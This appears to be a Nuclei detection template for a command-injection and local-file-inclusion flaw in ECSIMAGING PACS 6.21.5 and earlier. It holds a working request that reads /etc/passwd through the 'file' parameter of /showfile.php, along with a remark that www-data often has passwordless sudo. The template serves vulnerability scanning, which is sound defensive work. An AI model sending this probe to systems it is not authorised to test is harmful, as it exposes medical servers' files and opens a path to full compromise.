id: ecsimagingpacs-rce info: name: ECSIMAGING PACS <= 6.21.5 - Command Execution and Local File Inclusion author: ritikchaddha severity: critical description: ECSIMAGING PACS Application 6.21.5 and below suffer from a command injection vulnerability and a local file include vulnerability. The 'file' parameter on the page /showfile.php can be exploited to perform command execution or local file inclusion. Often on ECSIMAGING PACS, the www-data user has sudo NOPASSWD access. reference: https://www.exploit-db.com/exploits/49388 classification: cwe-id: CWE-78 metadata: verified: false max-request: 1 tags: ecsimagingpacs,rce http: - method: GET path: - "{{BaseURL}}/showfile.php?file=/etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022079ce63cc43a2d430ca37cb969863e997eaf9f8b9ef820e2f37290feefb1c51a402210094cb0ea820e88852b15e0e26b2a3dc01a3a4d73b13442190c378d99b9d50f276:922c64590222798bb761d5b6d8e72950